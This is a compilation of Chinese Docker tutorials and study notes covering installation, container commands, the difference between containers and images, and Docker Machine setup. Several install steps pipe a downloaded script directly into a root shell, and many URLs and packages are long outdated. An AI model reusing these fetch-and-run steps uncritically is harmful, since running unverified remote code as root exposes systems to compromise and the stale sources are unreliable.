代码化分为两大块：第一块是用一个脚本从云服务提供商那里抓去了所有机器的 host/IP 配置。 第二块是定义了一个 protobuf 文件将 Coding.net 生产环境的服务主机的对应关系记录下来。我们进一步设计了一个 Service IP 体制，自动为生产环境中的每个服务创建一个 DNS CNAME 记录，指向服务实际使用的机器 DNS A 记录。于是当有服务挪动操作的时候，DNS记录会刷新，所有的下游依赖都会重新解析DNS 到新的地址。同时，我们还自己开发了一个工具，根据记录的信息检查生产环境是否与记录存在差异，进一步可以将常用操作（如启动停止，更新，移动主机）等等包装起来，为操作人员提供一个标准的 CLI 工具，将复杂的生产环境操作变成程序。


同样道理，我们也可以按代码生成一个开发环境的定义，用一套工具同时操作开发环境和生产环境。小伙伴们一键可以在自己电脑上起停整个 Coding.net 服务云，也可以同样的命令一键起停生产环境（前提当然是有足够权限）。这样环境的统一所带来的生产力变革是非常深刻的，对公司研发的组织架构也有很深远的影响，有机会的话可以在另一篇文章里详细再说。


自动化


装进盒子，能挪动，只描述了 Coding.net 宏伟蓝图的一小部分，而管理大规模生产环境的关键在于自动化。做好代码化之后，我们马上上马 Continuous Deployment ，让每一行更改过的代码一分钟内进入 Staging， 再结合自动化的 Regresssion testing 工具，自动汇报未预见的错误更改。 同时我们还有一个一键发布和回退服务，让更新变得更简单，容易。自动化的服务系统还包括 Log 的转发存储，metrics 的自动收集， Application healthcheck 等等，这些都极大的降低了小组件的运维难度，鼓励大家开发更小更独立的组件，而不是又笨又大的单体程序。


以上就是 Coding.net 服务架构的演进， 希望能对大家有所启发。在 4月23 日 QCon 全球软件开发大会“挑战全栈开发”专题上，Coding.net 架构师 孙宇聪也将会给大家分享一下如何利用 Docker等的相关技术为创业公司的全栈开发加分，提高产品质量，创造一个可持续的全栈开发环境。敬请关注4月23日下午 15:50 《Coding.net 全栈开发实践分享》。欢迎大家交流，邮件 : sunyucong@coding.net。
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  本系列教程翻译自 Flux7 Docker Tutorial Series，系列共有九篇，本文译自第一篇 Part 1: An Introduction。

  该系列所有文章将参考其他学习资料翻译，也会加入自己的学习作为部分注解。如有错误，欢迎指正。







Docker，一种新的容器化技术，因为轻量级和便携化而受到广泛关注。Docker 和 Java 一样，号称“一次构建，一次配置，即可到处运行”（build once, configure once and run anywhere）。本篇文章是 Flux7 Docker 系列教程的第一篇。随着教程的深入，我们将会在以后慢慢探讨 Docker 带来的优势和如何将 Docker 做到最大化的利用。


我们将在 6-7 周的时间内学习 Docker。（译者注：其实 2-3 天就能完成这系列的教程我会乱说…）


这篇文章是 Docker 系列教程的基础：Docker 的概念、安装和如何开始使用。


Docker 的特点


所有介绍一种新语言、新技术的文章开头都会介绍该技术的出众之处，本篇文章也不例外。作为当前捧得比较红的虚拟化技术，Docker 的特色包括但不仅限于：



	飞快的运行速度和优雅的抽象框架

	廉价

	低 CPU 和内存使用

	启动、关闭速度快

	可以用来作为云计算的基础




  Docker 应用的实例：微博红包：大规模 Docker 集群实践经验分享




Docker 组件/原理


Docker 有基本组件和元素各三个，视频 Docker Onboarding（请自带梯子）可以让你快速弄清三者之间的关系。



	
Docker Client：用户和 Docker 守护进程进行通信的接口，也就是 docker 命令。

	
Docker 守护进程：宿主机上用于用户应答用户请求的服务。

	
Docker Index：用户进行用户的私有、公有 Docker 容器镜像托管，也就是 Docker 仓库。

	
Docker 容器：用于运行应用程序的容器，包含操作系统、用户文件和元数据。

	
Docker 镜像：只读的 Docker 容器模板，简言之就是系统镜像文件。

	
DockerFile：进行镜像创建的指令文件。






在学习 Docker 组件之前，先来看一下 Docker 底层到底是由什么组成的：



	
Namespace：隔离技术的第一层，确保 Docker 容器内的进程看不到也影响不到 Docker 外部的进程。

	
Control Groups：LXC 技术的关键组件，用于进行运行时的资源限制。

	
UnionFS（文件系统）：容器的构件块，创建抽象层，从而实现 Docker 的轻量级和运行快速的特性。




  关于 CGroup 和 namespace，可以参考酷壳的这两篇文章：
Docker基础技术：Linux Namespace（上）
Docker基础技术：Linux Namespace（下）
Docker基础技术：Linux CGroup




步骤简述


运行任何应用都必须按照以下两个步骤来：



	创建一个镜像文件

	运行容器



这些操作是由 Docker Client 来执行的，Docker Client 一般指 docker 命令。首先，Docker Client 向 Docker Daemon 发出请求创建一个镜像、并且指定容器内要运行的命令。当 Daemon 接收到到信号后，便会执行以下操作：


1. 创建一个镜像文件


Docker 镜像相当于一个只读的模板文件，保存着运行容器所需要的所有的配置、文件；每次启动，都会以基础的 Docker 镜像为模板，按照 Dockerfile 的指令，建立一个新的适用于你自己的 Dokcer 镜像：实际上是在这个基础镜像上建立了一个新的应用层。


自己创建的 Docker 镜像可以推送到 Docker Index 中心，然后提供给他人使用。Docker Index 提供了公有库和私有库两种形式，私有库需要付费，大概 $7-$50 不等。和 GitHub 一样，公有库对所有人可见，私有库只对自己可见。docker 命令可以用来搜索 Docker Index 的镜像。


2. 运行容器


容器被运行后，会在原有的镜像上创建一个只读的层，容器设置完毕网络之后便可以运行应用了。


以上的描述可能会非常抽象：接下来的教程会使用运行在 Ubuntu 上的 Docker 实例来进行深入了解。


安装 Docker


Flux7 原文采用稳定的 Linux 服务器版本 Ubuntu 12.04 LTS 作为示例环境，安装 Docker 的方法如下：



	检查 apt 系统的是否有 https 模块：检查文件 /usr/lib//apt/methods/https，如果不存在这个文件，就需要安装 apt-transport-https 软件包。

	将 Docker 仓库的密钥加入本地的 keychain，仓库密钥：hkp://keyserver.ubuntu.com:80 --recv-keys 36A1D7869245C8950F966E92D8576A8BA88D21E9


	将 Docker 仓库的软件源加入本地 apt 的软件源列表中

	安装 lxc-docker 软件包

	验证安装：执行 sudo docker run hello-world，输出 Hello from Docker. 即为成功安装 Docker。



以上是原文安装方法，译者推荐使用 Ubuntu 14.04 LTS 作为示例，安装方法如下：


Ubuntu 上的 Docker 分为 Ubuntu 官方维护的版本和 Docker 官方维护的版本：


Ubuntu 版 Docker


一条命令安装 Docker：


sudo apt-get install docker.io



Docker 版 Docker


也是一条命令：


wget -qO- https://get.docker.com/ | sh



Ubuntu 版 Docker 和 Docker 版 Docker 的区别在于，一个收纳 Ubuntu 团队认为稳定的版本，一个收纳 Docker 团队认为稳定的版本。
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windows 7， docker 1.3.2，当前使用的容器名为aoct，ID为614122c0aabb。


开启已经停止的容器


可以start + 容器名


$ sudo docker start aoct



或start + 容器ID


$ sudo docker start 614122c0aabb






查看现在正在运行的容器：


$ sudo docker ps






还可以用docker restart重启。


附到容器上


Docker容器重新启动时，会沿用docker run命令指定的参数来运行，所以重新启动后会运行一个交互式会话shell。也可以用docker attach命令重新附到该容器的会话上：


$ sudo docker attach aoct






现在就重新回到容器的巴士提示符。


也可以用容器ID：


$ sudo docker attach 614122c0aabb



创建守护式容器


除了这些交互式运行的容器（interactive container），也可以创建长期运行的容器。守护式容器（daemonized container）没有交互式会话，适合运行应用程序和服务。大多数时候是需要以守护式来运行容器。


可以通过添加 -d 参数来实现，创建一个叫aofo的容器：


sudo docker run --name aofo -d ubuntu:14.04 /bin/sh -c "while true; do echo hello world; sleep 1; done"






上面的命令会让容器在后台运行。使用了一个while循环，改循环会一直打印hello world，知道容器或其进程停止运行。


与之前创建的容器相比，没有返回shell会话，只是返回了一个容器ID。


查看现在正在运行的容器：


$ sudo docker ps






容器内部在干些什么


上面创建了一个在后台运行while循环的守护型容器，可以用docker logs查看容器日志：


$ sudo docker logs aofo






可以在命令后使用-f参数来健康Docker日志，这与tail -f非常相似：


$ sudo docker logs -f aofo



然后就会看到一直输出hello world。可以通过ctrl+c来退出监控个。


查看容器内的进程


$ sudo docker top aofo



可以看到容器内的所有进程（主要是while循环）、运行进程的用户、进程ID：





在容器内部运行进程


Docker 1.3 之后可以通过docker exec命令在容器内部额外启动新进程。可以在容器内运行两种进程：后台任务、交互式任务。后台任务在容器内运行且没有交互需求，交互式二年五则保持在前台运行。对于需要早容器内部贷款shell的任务，用交互式任务.


后台任务例子：


$ sudo docker exec -d daemon aofo touch /etc/new_config_file






代码解释：
-d标志标明要运行一个后台进程，后面指定要在内部执行这个命令的容器名，我用的是aofo。整句命令在aofo容器内创建了一个空文件夹new_config_file。


交互式任务例子：


$ sudo docker exec -t -i aofo /bin/bash



代码解释：

和运行交互容器一一，这里-t、-i标志位指明创建TTY并捕捉STDIN。后面指定要在内部执行这个命令的容器名，我用的是aofo。整句命令在aofo容器内创建新的bash对话，就可以在该容器运行其他命令了。



  docker exec命令是在 Docker 1.3 引入的，之前版本不支持。可用nsenter命令




停止守护式容器


docker stop命令:


$ sudo docker stop aofo






也可以用容器ID只带容器名称：


$ sudo docker stop ddd958443007



如果想快速停止容器，还可以用docker kill命令:


$ sudo docker kill aofo



可以用docker ps命令产科当前运行的容器。也可以用docker ps -n x，该命令会显示最后x个容器，不论这些容器是运行还是停止的。


$ sudo docker ps -n 2






深入容器


用docker inspect获取更多的容器信息：


$ sudo docker inspect aofo






可以用-f或者--format标志来选定查看结果。


查看容器运行状态：


$ sudo docker inspect --format='{{ .State.Running }}' aofo






查看容器IP地址：


docker@boot2docker:~$ sudo docker inspect --format='{{ .NetworkSettings.IPAddress }}' aofo



我没有设置，所以返回空：





-f和--format标志支持完整的GO语言模板。用它进程查询时，可以重复利用GO语言米板的优势。


可以同时制定多个容器，并显示每个容器的结果：


$ sudo docker inspect --format='{{ .State.Running }}' aofo aoct







  除了查看容器，还可以浏览/var/lob/docker目录了解Docker的工作原理，该目录存放着Docker镜像、容器、容器配置。所有容器都保存在/var/lib/docker/containers目录下。




删除容器


运行中的容器无法删除，必须先停止。使用docker rm：


$ sudo docker rm 容器ID



一次性删除所有容器：


$ sudo docker rm `docker ps -a -q`



这不是常规命令，只是小技巧。docker ps列出所有现有的容器，-a标志列出所有（all）容器，-q返回容器ID。这样就得到了容器ID列表，并传给docker rm命令，从而达到删除所有容器的目的。


【本人的学习笔记，主要是对《我的第一本Docker书》、《Docker —— 从入门到实践》的学习记录，并结合其他各种资源的学习。】
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本人的学习笔记，主要是对《我的第一本Docker书》、《Docker —— 从入门到实践》的学习记录，并结合其他各种资源的学习。这次记录了4种常见系统的Docker安装方法，这些系统我不是都有，但是也记录一下，也许以后用得上。


支持的平台


Docker目前已经支持非常多的Linux平台，Ubuntu、Red Hat企业版Linux、Debian、CentOs、Fedora、Oracle Linux等。如果使用虚拟环境，甚至可以在OS X 和 windows中运行。


安装的条件



	Docker目前只能在64位CPU架构的计算机上运行（目前只能是x86_64 、amd64）。

	Linux 3.8 或 更高版本的内核。3.8之前的版本也能运行，但效果不同，遇到问题时大家都建议你升级。

	
内核必须支持一些是和的存储驱动（strage drive），例如：



	Device Manage

	AUFS

	vfs

	btrfs

	默认存储驱动通常是Device 





	内核必须支持并开启cgroup和命名空间(banespace)功能



在Ubuntu中安装Docker


版本支持：Ubuntu 12.04 LTS 及之后的 64位版本 。但这并不意味着除此之外的Ubuntu或Debian不能按照Docker，只要有适当的内核和Docker所必须的支持，其他版本也能安装，但是不能得到官方的支持，遇到BUG无法得到官方的修复。


现假设我安装好的Ubuntu 12.04 LTS 64位电脑为darknight.example.com。


检查前提条件


内核


确认依据安装能满足要求的Linux内核。通过uname命令查询。


$ uname -a



Ubuntu 12.04.3及以上版本的默认内核是3.8.0 x86_64。

如果查到的不是3.8版的内核，可以用apt-get来升级：


$ sudo apt-get update
$ sudo apt-get install linux-headers-3.8.0-27-generic



然后更新Grub启动加载器来加载新内核：


$ sudo update-grub



完成安装后，重启宿主机来启用新的3.8内核:


$sudo reboot



重启之后，可以用 uname -a确认是否运行了新版本内核。


检查Device Mapper


这里使用Device Mapper昨晚存储驱动。2.6.9版本及以上的Linux内核已经集成了Device Mapper，并提供了一个将块设备映射到高级虚拟设备的方法。Device Mapper支持“自动精简配置”（thin-provisioning）的概念，可以在一种文件系统中存储多台虚拟设备（Docker镜像中的层）。所以很适合做Docker的存储驱动。


Ubuntu 12.04 以上都装好了，可以用一下代码检查：


$ ls l /sys/class/misc/device-mapper



如果没有出现device-mapper的信息，可以加载 dm_mod 模块：


$ sudo modprobe dm_mod



cgroup 和命名空间自2.6版本已经开始集成在Linux内核中了。


安装Docker


通过Docker源安装最新版本。要安装最新的 Docker 版本，首先需要安装 apt-transport-https 支持，之后通过添加源来安装。


$ sudo apt-get install apt-transport-https
$ sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 36A1D7869245C8950F966E92D8576A8BA88D21E9
$ sudo bash -c "echo deb https://get.docker.io/ubuntu docker main > /etc/apt/sources.list.d/docker.list"
$ sudo apt-get update
$ sudo apt-get install lxc-docker



如果是较低版本的 Ubuntu 系统，需要先更新内核。


$ sudo apt-get update
$ sudo apt-get install linux-image-generic-lts-raring linux-headers-generic-lts-raring
$ sudo reboot



然后重复上面的步骤即可。


安装之后启动 Docker 服务。


$ sudo service docker start



评论中一网友的建议：


ubuntu下，用以下这种脚本方式安装最方便，来源于sameersbn/docker-gitlab官方说明：


sudo apt-get purge docker.io 
curl -s https://get.docker.io/ubuntu/ | sudo sh
sudo apt-get update
sudo apt-get install lxc-docker



OS X


使用 Boot2Docker 工具。



  Boot2Docker 是一个极小的虚拟机，同时提供了一个包装脚本（wrapper script）对该虚拟机进行管理。




安装Boot2Docker的条件：



	VirtualBox

	Docker客户端



安装Boot2Docker


到GitHub安装，或者官网下载安装。官网有个视频可学。


启动Boot2Docker


进入系统的Application文件夹，找到Boot2Docker打开


测试Boot2Docker


通过本机的Docker客户端连接到Boot2Docker虚拟机中运行Docker守护进程，来测试Boot2Docker安装程序是否正常运行


$ docker info



当显示出Docker信息时就是安装成功运行了。


Windows


与OS X一样，用Boot2Docker安装。官网、GitHub。


同样需要两个条件：



	VirtualBox

	Docker客户端



下载好后运行脚本即可。


测试Boot2Docker


也是用以下命令测试：


$ docker info



当显示出Docker信息时就是安装成功运行了。


CentOS


对于 CentOS6，可以使用 EPEL 库安装 Docker，命令如下


$ sudo yum install http://mirrors.yun-idc.com/epel/6/i386/epel-release-6-8.noarch.rpm
$ sudo yum install docker-io
CentOS7



CentOS7 系统 CentOS-Extras 库中已带 Docker，可以直接安装：


$ sudo yum install docker



安装之后启动 Docker 服务，并让它随系统启动自动加载。


$ sudo service docker start
$ sudo chkconfig docker on



 深入 Docker：容器和镜像

作者：大舒

来源： 深入 Docker：容器和镜像



                    

  在本专栏往期的 Flux7 系列教程 里，我们已经简单地探讨了 Docker 的基本操作。而在那篇教程中，我们一直是简单地将容器当成是“正在运行的镜像”，并没有深入地区分镜像和容器到底是什么、有什么区别。因此本次翻译 深入 Docker：容器和镜像 这篇文章，通过一些实例向大家介绍 Docker 容器和镜像的具体区别。




Docker 是一个非常有趣的项目。它自己宣称可以减轻部署服务器的难度，当然我相信里面有炒作的成分。但是实际使用后，我觉得 Docker 的表现还是可圈可点的。本篇文章将会从头开始进行操作镜像，同时试图通过实例和文档来解答实际操作 Docker 中遇到的问题。


本文仅仅是试图使用深入讲解 Docker 镜像和容器的基础知识，而不是像 了解 Docker：一种更好的虚拟化方式 一样试图总结出 Docker 的所有操作方法。


如果你打算按照本文操作的话，那么你首先有台安装好 Docker 的 Linux 主机。使用 Docker Machine 安装 Docker 很简单，但是同时我也推荐使用 Digital Ocean 中已经安装好 Docker 的云主机直接操作。本篇文章所使用的 Docker 版本为 1.6.0，同时文中所有的命令都需要 root 权限。


技巧


同样，译者在正文开始提供一个操作 Docker 的小知识。下文中也会多次使用到这一点。


Docker 会为所有已经运行（包括已经停止）的容器随机分配一个唯一的名字和一个唯一的 ID，docker 命令可以识别 ID，也可以识别这个名字。





如图所示，第一行的容器的 ID 是 43de70a54ec1，名字是 admiring_ardinghelli

想删除第一行对应的容器，我们只需要 docker rm 43de70a54ec1,或者简写成 docker rm 43de，或者 docker rm admiring_ardinghelli。


容器去哪儿了？


刚开始使用 Docker 的用户会发现，运行完一个容器，再次运行这个容器，原来的容器内的内容已经消失了，例如：


现在我们使用 -i（交互式）和 -t（临时终端）参数运行一个容器，然后输入一些交互命令：


shell(HOST) # docker run -it ubuntu /bin/bash
(CONTAINER) root@1f608dc4e5b4:/# echo hello docker > /message.txt
(CONTAINER) root@1f608dc4e5b4:/# cat /message.txt
hello docker
(CONTAINER) root@1f608dc4e5b4:/# exit



在上面那个容器内，我们创建了 /message.txt 文件，现在我们尝试重新读取这个文件：


shell(HOST) # docker run -it ubuntu cat /message.txt
cat: /message.txt: No such file or directory



刚刚我们明明新建了这个文件，现在怎么没了？

同时，运行 docker ps 列出容器，刚刚那个 1f608dc4e5b4 容器到哪里去了？


好吧，那么我们用 docker ps -a 命令列出所有容器，然后仔细观察一下：


(HOST) # docker ps -a
CONTAINER ID        IMAGE                 COMMAND              CREATED             STATUS                      PORTS               NAMES
b3d8c3ef31a0        ubuntu:latest         "cat /message.txt"   33 minutes ago      Exited (1) 33 minutes ago                       admiring_lalande
1f608dc4e5b4        ubuntu:latest         "/bin/bash"          34 minutes ago      Exited (0) 15 minutes ago                       insane_wright



现在大家应该可以发现问题了：居然有两个不同的容器，一个执行了 /bin/bash，一个执行了 cat /message.txt。


在本专栏以往的文章中，多次提到：Docker 使用一个叫做 UnionFS 的层级文件系统进行镜像操作。容器对镜像文件的所有操作均是在虚拟出的“改动层”上进行的。当然对容器而言，UnionFS 和普通的文件系统并无差别，也无法看到任何“改动层”。


每次运行 docker run 命令的时候，Docker 都会指定新建容器，并且为容器自己的改动层。所以我们两次都运行了 ubuntu 镜像，那么我们也将会有两个新的、不同的容器，每个容器也都会有自己独立的的“改动层”。因此，在第一个容器内创建的 /message.txt 文件在第二个容器内是无法访问的。当然，要是能互相访问，那我们就得为 Docker 的安全性担心了。


容器到底去哪儿了？



  刚刚的问题是：“容器去哪儿了？”

  现在的问题是：“容器到底去哪儿了？我需要里面的 message.txt 文件，怎么才能取出来？”




已经停止的容器中的数据并不会消失，而是被存储在相应的“改动层”中。我们可以通过 docker ps -a 进行查找容器。在这个例子中，我们要找的容器便是执行了 /bin/bash 命令的容器，ID是 1f608dc4e5b4，名称是 insane_wright。


对比起 ID，容器的名称更加易读。因此在本篇文章后面的例子中，我都将用名称来进行操作和识别容器。当然，你也可以在 docker run 的时候用 --name 参数指定容器的名称。


那么现在我们现在运行上面例子中已经停止的 insane_wright 容器：


(HOST) # docker start -ai insane_wright
(CONTAINER) root@1f608dc4e5b4:/# cat /message.txt
hello docker
(CONTAINER) root@1f608dc4e5b4:/# exit



使用 -a 参数将容器的输出导出到终端，同时使用 -i 参数进行交互式的操作。这条命令可以让我们继续运行容器 insane_wright，现在你应该能看得到我们刚刚创建的 /message.txt 文件了。


容器能不能提取出来？



  现在我们已经运行了自己的容器，容器内也有独立的数据，我们也知道如何获取容器内的数据，那么问题来了：我们能不能把这个状态下的容器给保存起来？




本专栏前面的文章提到过得益于 UnionFS，对于 Docker 来说，其实容器和镜像的差别并不大。容器可以认为是已经运行过的或正在运行的镜像，只不过是镜像上面添加了几个改动层。当然，大部分镜像也是如此。例如某些 mysql 镜像，便仅仅是在官方 ubuntu 镜像的基础上增加了一个 mysql 改动层。


对于上面例子中的容器，我们可以用下面这条命令将其打包成镜像：


(HOST) $ docker commit -a "Jordan Bach" -m "saved my message" insane_wright jbgo/message:v0.0.1
1c9195e4c24c894a274f857a60b46fb828ee70ff0e78d18017dfb79c5bf68409



本条命令将容器 insange_wright 的改动层的属性变为“只读”，并且指定存储为 jbgo/message 镜像。镜像基于原 ubuntu 镜像，增加了一个改动层，标签为 v0.0.1。标签可以为任意，当然一般用来记录版本信息。


当然，如果你打算自己尝试的话，记得将我的名字 jbgo 替换为你自己在 Docker Hub 上的用户名。即便你没有 Docker Hub 账户，也要养成给镜像做签名的习惯。


可以用如下命令检查当前的镜像：


(HOST) # docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             VIRTUAL SIZE
jbgo/message        v0.0.1              1c9195e4c24c        18 seconds ago      188.3 MB
ubuntu              latest              b7cf8f0d9e82        4 days ago          188.3 MB



现在我们有两个镜像了：一个是原有的 ubuntu 镜像，镜像是我们在刚开始进行 docker run 的时候自动从 Docker Hub 上面下载下来的；另一个便是我们刚刚保存的，有一个 /message.txt 文件的镜像。


不信？

那我运行给你看。


(HOST) # docker run -it jbgo/message:v0.0.1 cat /message.txt
hello docker



这里我们并没有运行刚刚的 insane_wright 容器，而是运行了我们刚刚保存的镜像。

我们确实把刚刚的容器保存为一个新的镜像了。


还不信？

那我检查给你看。


(HOST) # docker ps -a
CONTAINER ID        IMAGE                 COMMAND              CREATED             STATUS                      PORTS               NAMES
01bd4c098203        jbgo/message:v0.0.1   "cat /message.txt"   10 seconds ago      Exited (0) 9 seconds ago                        hopeful_lovelace
b3d8c3ef31a0        ubuntu:latest         "cat /message.txt"   33 minutes ago      Exited (1) 33 minutes ago                       admiring_lalande
1f608dc4e5b4        ubuntu:latest         "/bin/bash"          34 minutes ago      Exited (0) 15 minutes ago                       insane_wright



容器运行记录里面多了一个叫做 hopeful_lovelace 的容器，是运行 jdgo/message:v0.0.1 镜像而创建的这个容器。


如何备份镜像？



  上面我们创建了带有一个 /message.txt 文件的镜像，也用它运行了容器，那么如果 Docker 宿主机崩溃了或者文件消失了怎么办？如何保证我们创建的镜像在系统崩溃后仍然不丢失？




我们需要 Docker Registry，可以存储和下载镜像的地方。Docker Hub 官方提供了 Docker Hub Registry 让我们来存储镜像，当然我们也可以自己搭建 Docker Registry。本篇文章将会使用 Docker Hub Registry，如果你想按照本文中继续操作的话，记得将我的名字 jbgo 换成你自己在 Docker Hub 上的用户名。


使用如下操作将镜像上传到 Docker Registry 上：


(HOST) # docker push jbgo/message
The push refers to a repository [jbgo/message] (len: 1)
1c9195e4c24c: Image push failed

Please login prior to push:
Username: jbgo
Password:
Email: jordanbach@gmail.com
WARNING: login credentials saved in /root/.dockercfg.
Login Succeeded
The push refers to a repository [jbgo/message] (len: 1)
1c9195e4c24c: Image already exists
b7cf8f0d9e82: Image successfully pushed
2c014f14d3d9: Image successfully pushed
a62a42e77c9c: Image successfully pushed
706766fe1019: Image successfully pushed
Digest: sha256:b2a98b19e06a4df91150f8a2cd47a6e440cbc13b39f1fc235d46f97f631ad117



因为我是第一次在本机执行 docker push 操作，所以 Docker Registry 需要验证我的身份。


本次上传的镜像被保存在这里。

你可以使用 docker pull jbgo/message 来下载我的镜像。


当然，如果你按照上面的来操作的话，可能会出现一点小问题：


(HOST) # docker pull jbgo/message
Pulling repository jbgo/message
FATA[0007] Tag latest not found in repository jbgo/message



下面我来解释一下到底出了什么问题：

当你使用 docker push jbgo/message 命令的时候，默认上传标签为 latest 的镜像。如果没有便会报错。你可以采用如下命令解决： docker tag jbgo/message:v0.0.1 jbgo/message:latest。

这次再尝试推送：


(HOST) # docker push jbgo/message:latest
The push refers to a repository [jbgo/message] (len: 1)
1c9195e4c24c: Image already exists
b7cf8f0d9e82: Image already exists
2c014f14d3d9: Image already exists
a62a42e77c9c: Image already exists
706766fe1019: Image already exists
Digest: sha256:cc2fbbb2029c6402cea639b2454da08ef05672da81176ae97f57d4f51be19fc3



这次上传会快得多，因为服务器上已经有了这个镜像，我们上传的仅仅是相同镜像的不同标签而已。


你不信？

那我验证给你看：


(HOST) # docker pull jbgo/message
latest: Pulling from jbgo/message
1c9195e4c24c: Already exists
706766fe1019: Already exists
a62a42e77c9c: Already exists
2c014f14d3d9: Already exists
b7cf8f0d9e82: Already exists
Digest: sha256:cc2fbbb2029c6402cea639b2454da08ef05672da81176ae97f57d4f51be19fc3
Status: Downloaded newer image for jbgo/message:latest



当然，别台服务器一样可以使用这个命令下载我的镜像。


当然，也可以使用如下命令上传特定标签的镜像：docker push jbgo/message:v0.0.1。

建议使用版本标签标记镜像，并推送特定版本标签的镜像和 latest 标签的镜像。


使用完毕的容器如何处理？


上面只是介绍了容器如何理解容器和镜像，如果有很多历史容器被保存在硬盘上，想要释放掉这些空间，我们应该怎么做？


使用如下命令删除多个容器：


(HOST) # docker rm hopeful_lovelace insane_wright admiring_lalande
hopeful_lovelace
insane_wright
admiring_lalande



现在再检查一下还有没有这些容器：


(HOST) # docker ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES



我们运行的所有容器和所有的历史容器都会被保存在硬盘上，除非你手动 docker rm 它们。手动删除的容器不能恢复。


为什么上传了不止一个镜像？


有心人注意到，刚刚我们第一次上传 jbgo/message 镜像的时候，Docker 上传了不止一个镜像。


(HOST) # docker push jbgo/message:v0.0.1
...
1c9195e4c24c: Image already exists
b7cf8f0d9e82: Image successfully pushed
2c014f14d3d9: Image successfully pushed
a62a42e77c9c: Image successfully pushed
706766fe1019: Image successfully pushed



到底发生了什么？


首先使用 docker history 检查一下镜像改动历史：


(HOST) # docker history jbgo/message:v0.0.1
IMAGE               CREATED             CREATED BY                                      SIZE
1c9195e4c24c        33 minutes ago      /bin/bash                                       108 B
b7cf8f0d9e82        4 days ago          /bin/sh -c #(nop) CMD ["/bin/bash"]             0 B
2c014f14d3d9        4 days ago          /bin/sh -c sed -i 's/^#\s*\(deb.*universe\)$/   1.895 kB
a62a42e77c9c        4 days ago          /bin/sh -c echo '#!/bin/sh' > /usr/sbin/polic   194.5 kB
706766fe1019        4 days ago          /bin/sh -c #(nop) ADD file:777fad733fc954c0c1   188.1 MB



会发现，其实我们创建了不止一个镜像，也就是有不止一个改动层。

使用 docker inspect 命令仔细观察第一个镜像（第一层）进行过的改动：


(HOST) # docker inspect 1c9195e4c24c
[{
    "Architecture": "amd64",
    "Author": "Jordan Bach",
    "Comment": "saved my message",
    "Config": {



这个肯定就是我们的 /message.txt 改动层了，那么其他的那么多是什么？


jbgo/message 是基于 ubuntu 镜像的，我们来检查一下 ubuntu 镜像的改动历史：


(HOST) # docker history ubuntu
IMAGE               CREATED             CREATED BY                                      SIZE
b7cf8f0d9e82        4 days ago          /bin/sh -c #(nop) CMD ["/bin/bash"]             0 B
2c014f14d3d9        4 days ago          /bin/sh -c sed -i 's/^#\s*\(deb.*universe\)$/   1.895 kB
a62a42e77c9c        4 days ago          /bin/sh -c echo '#!/bin/sh' > /usr/sbin/polic   194.5 kB
706766fe1019        4 days ago          /bin/sh -c #(nop) ADD file:777fad733fc954c0c1   188.1 MB



那么这样一切就很明确了：那些是 ubuntu 镜像的改动历史。为了确保本地和上传到 Docker Hub 的镜像一致，我们上传到 Docker Hub 中的镜像便是包含着五层改动层的新镜像。


　如何删除镜像？


前面提到过，我们删除容器，那么我们本机上仍然保存着镜像，如何删掉它们？


（HOST） # docker rmi jbgo/message
Error response from daemon: Conflict, cannot delete 1c9195e4c24c because the container 2ea39e64a130 is using it, use -f to force
FATA[0000] Error: failed to remove one or more images



提示出错了，根据错误信息可以看出，还有容器在用这一个镜像。


但是我们没有正在运行着的容器啊，到底哪儿出错了？


检查所有容器，发现容器 2ea39e64a130。


(HOST) # docker ps -a
CONTAINER ID        IMAGE                 COMMAND              CREATED             STATUS                     PORTS               NAMES
2ea39e64a130        jbgo/message:latest   "cat /message.txt"   2 minutes ago       Exited (0) 2 minutes ago                       lonely_jones



当然，这是 Docker 的机制：如果你仍然有容器的历史记录，那么为了确保你能再次启动这个容器，这些镜像是不能删除的。


首先删除掉这个容器：docker rm lonely_jones。


然后删除镜像：


(HOST) # docker rmi jbgo/message
Untagged: jbgo/message:latest
Deleted: 1c9195e4c24c894a274f857a60b46fb828ee70ff0e78d18017dfb79c5bf68409
Deleted: b7cf8f0d9e82c9d96bd7afd22c600bfdb86b8d66c50d29164e5ad2fb02f7187b
Deleted: 2c014f14d3d95811df672ddae2af376f9557f6b8f5623e3e3f8c5ca3f6ff42e6
Deleted: a62a42e77c9c3626118dc411092d23cf658220261acdafe21a7589a8eeba627e
Deleted: 706766fe101906a1a6628173c2677173a5f8c6c469075083f3cf3a8f5e5eb367



这次我们可以很轻松地删除掉 jbgo/message 镜像了。

确认一下：


(HOST) # docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             VIRTUAL SIZE
确实没了。



后记


本篇文章介绍了容器和镜像的操作实例，当然 Docker 还有更多新奇的功能和只是等待大家去发现。

本专栏仍在继续组织翻译更多的系列文章，希望大家多多关注。


 [译] 如何在云服务提供商的平台上使用Docker Machine

作者：陌辞寒

来源： [译] 如何在云服务提供商的平台上使用Docker Machine



                    
大家好，今天我们来了解如何使用Docker Machine在各种云服务提供商的平台上部署Docker。Docker Machine是一个可以帮助我们在自己的电脑、云服务提供商的平台以及我们数据中心的机器上创建Docker机器的应用程序。它为创建服务器、在服务器中安装Docker、根据用户需求配置Docker客户端提供了简单的解决方案。驱动API对本地机器、数据中心的虚拟机或者公用云机器都适用。Docker Machine支持Windows、OSX和Linux，并且提供一个独立的二进制文件，可以直接使用。它让我们可以充分利用支持Docker的基础设施的生态环境合作伙伴，并且使用相同的接口进行访问。它让人们可以使用一个命令来简单而迅速地在不同的云平台部署Docker容器。


1. 安装Docker Machine


Docker Machine可以很好地支持每一种Linux发行版。首先，我们需要从Github网站下载最新版本的。这里我们使用curl来下载目前最新0.2.0版本的Docker Machine。


在64位操作系统运行：


# curl -L https://github.com/docker/machine/releases/download/v0.2.0/docker-machine_linux-amd64 > /usr/local/bin/docker-machine



在32位操作系统运行：


# curl -L https://github.com/docker/machine/releases/download/v0.2.0/docker-machine_linux-i386 > /usr/local/bin/docker-machine



下载最新版本的Docker Machine并将docker-machine文件放到了/usr/local/bin/后，添加执行权限：


# chmod +x /usr/local/bin/docker-machine



完成如上操作后，我们需要确认已经成功安装docker-machine了。可以运行如下命令检查，它会输出系统中docker-machine的版本：


# docker-machine -v






要在我们的机器上启用docker命令，需要使用如下命令安装Docker客户端：


    # curl -L https://get.docker.com/builds/linux/x86_64/docker-latest > /usr/local/bin/docker
    # chmod +x /usr/local/bin/docker



2. 创建机器


